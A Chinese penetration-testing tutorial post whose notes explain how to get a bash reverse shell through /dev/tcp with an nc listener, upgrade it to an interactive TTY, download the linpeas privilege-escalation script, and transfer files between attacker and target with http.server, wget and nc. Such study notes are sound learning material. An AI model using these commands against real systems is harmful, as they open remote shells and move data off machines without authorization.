# 渗透测试笔记（四）反弹Shell与权限提升



## 一、反弹Shell

渗透测试中，如果发现命令执行漏洞，通常会希望获得一个交互式 shell。如果无法添加新账户、SSH 密钥或 `.rhosts` 文件来直接登录，下一步通常是尝试建立反向 shell 或绑定 shell 到一个 TCP 端口。

创建反向 shell 的方法取决于目标系统上安装的脚本语言，也可以上传一个二进制程序来执行。以下是通过 Bash 建立反弹Shell 的步骤，其他脚本语言可以参考[pentestmonkey-cheatsheets/shells.md at master · acole76/pentestmonkey-cheatsheets](https://github.com/acole76/pentestmonkey-cheatsheets/blob/master/shells.md).

### 1. 在攻击机上上监听端口

```shell
nc -lvnp 8080
```

参数解释：

- `-l`：监听模式。
- `-v`：详细模式，显示连接信息。
- `-n`：直接使用 IP 地址，不做 DNS 解析。
- `-p 8080`：监听的端口为 `8080`。

### 2. 在靶机上建立反弹Shell

```shell
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

此命令在靶机上将一个 shell 会话的输入和输出重定向到指定的 IP 地址和端口来建立连接，如这里的 10.0.0.1 地址，8080 端口。

在某些情况下，`bash` 环境可能受到限制，导致直接执行反弹 shell 命令无法成功。为提高兼容性，可以尝试使用以下更通用的方式：

```shell
bash -c "bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"
```

然后回到攻击机的监听 Shell，可以看到已经连接，注意此时需要使用 `exit` 退出。

### 3. 交互式反弹Shell

上面步骤获取的Shell交互性并不强，并且 Ctrl+C 会在反弹 Shell 命令未终止的情况下退出 Shell ，如果靶机上安装有python，可通过以下步骤简单升级 Shell。注意攻击机的 Shell 需要是 `bash`，而不是 `zsh` 。

```shell
python -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z
stty raw -echo;fg
export TERM=xterm
```

此时的shell就可以使用方向键和vim、top等命令，Ctrl+C 也不会断开了。

## 二、权限提升

通常情况下，入侵靶机后，攻击者将会得到一个权限较低的 Shell，此时可以执行的操作常常受到限制。因此，我们需要权限提升（Privilege Escalation），简称提权。借助以下提权脚本，这项任务将变得更加容易。

### linpeas

下载linpeas脚本：

```shell
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
```

## 三、文件传输

在创建反弹 Shell 之后，靶机的环境往往不足以我们进行攻击，此时便需要两机之间的文件传输。

### 1. 靶机下载文件

先在攻击机上目标文件的目录建立 web 服务（以python为例）

```shell
python -m http.server 8000
```

然后再靶机上使用 `wget` 下载，如下载 `linpeas.sh` 脚本

```shell
wget http://10.0.0.1:8000/linpeas.sh
```

### 2. 靶机上传文件

攻击机上将接收到的数据重定向并写入 `target.file` 文件。

```shell
nc -nvlp 4444 > target.file
```

靶机从本地文件 `target.file` 中读取数据，并重定向至接收方。

```shell
nc 10.0.2.4 4444 < target.file
```


---

> 作者: [fupcode](https://github.com/fupcode)  
> URL: https://fupcode.com/blog/posts/reverse-engineering/learning-reverse4/  

